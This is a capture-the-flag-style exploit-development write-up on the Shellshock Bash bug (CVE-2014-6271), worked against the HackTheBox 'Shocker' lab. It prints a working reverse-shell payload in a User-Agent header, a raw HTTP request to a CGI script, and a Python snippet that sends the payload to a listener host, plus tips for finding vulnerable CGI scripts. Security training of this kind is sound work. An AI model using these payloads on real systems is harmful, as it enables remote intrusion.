ExploitDev Journey #7 | CVE-2014-6271 | Bash - 'Shellshock' Environment Variables Command Injection

Original Exploit: https://www.exploit-db.com/exploits/34766

Exploit name: Bash Shellshock RCE
CVE: 2014-6271
Lab: Shocker - HackTheBox

Description

There is a bash vulnerability that allows an attacker to execute system commands on a remote target machine. Often web servers use environment variables and these variables can be used to exploit vulnerabilities. For example in Python-Flask, we have environment variables to turn on the debug mode which leaks information if allowed on a production (real-world) environment.

We exploit this vulnerability usually through a CGI script running on the server, the first step is to find that.

How it works

Now you understand a thing or two about environment variables. But how do we pass these environment variables to the target and how do we exploit them through web apps?
One of the best and most in-depth explanations about Shellshock vulnerability can be found here.

There are many examples available on what your commands should look like and here is an example. Here I want to print the number 1337:

As you can see all methods are working but it's all about that semicolon preceding /bin/bash, that's all there is to it, but when you want to send out commands from a web app you will normally face some kind of restrictions on how you can send it, that's why there is a universal command for exploiting this vulnerability used by every exploit developer out there that gets the job done.

You might be familiar with the old OS command injection bypasses where unsanitized data could be sent to the server, you could use pipes or semicolons and execute system commands, but here things are different because you have to exploit a bash vulnerability but it serves the same purpose: execute system commands.

This vulnerability is exploited through the User-Agent HTTP header and this is the best explanation I had found while writing this exploit:
A web server could use the contents of the User-Agent header for logging purposes, to control access ("deny all bots") or return alternative responses ("mobile-friendly pages"). The validity of a header value depends on the application, it is not possible to write on rule that works with everything.

Writing the exploit

Let's exploit this vulnerability manually and play around with the commands to see what we can do. So the following command is basically used in every exploit out there: () { :;}; /bin/bash -i >& /dev/tcp/127.0.0.1/1337 0>&1

Let's try different commands, for example, can we echo something back:

A 500 error is an indication that the server is actually vulnerable, problem is when you don't get it:

The first screenshot shows that we sent our payload to the main webpage but the second screenshot shows that we send our request to the CGI script running on the server. A Internal Server Error is always a good indication of existence of shellshock.

Let's get a shell:

GET /cgi-bin/user.sh HTTP/1.1
Host: 10.129.112.201
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.3/1337 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Now to programmatically do this, all we need to do is to craft a user-agent header along with our reverse shell command and they look like this:

headers = {'User-Agent': '() { :;}; /bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (lhost, lport)}
try:
    print("[...] Sending payload.")
    requests.get(url=rhost, headers=headers, timeout=10)
except requests.exceptions.Timeout:
    sys.exit("[ # ] Timeout occured, could be that host is dead or could be that exploit worked, check your listener.")

As said earlier, you would need to find a CGI script running on the server, in this lab machine the script can be found here:

http://target.htb:80/cgi-bin/user.sh

When you get a reverse shell, notice that it's a bash shell:

Final thoughts

In order to find this vulnerability on the shocker machine I had to use a directory bruteforcer to find script files. Originally I didn't know it was about shocker but now that you do, try to carefully inspect CGI scripts on a web application. Remember that not always you will have scripts with an extension, sometimes they might just be files with no extension at all.
In this exploit development session I covered exploitation of shellshock and finding it, as discussed a 500 internal server error is always a good indication but it's not guaranteed because every server is configured in a different way. In the real world if a website uses Cloudflare, your response might be a 500 but that does not necessarily mean that the website is vulnerable.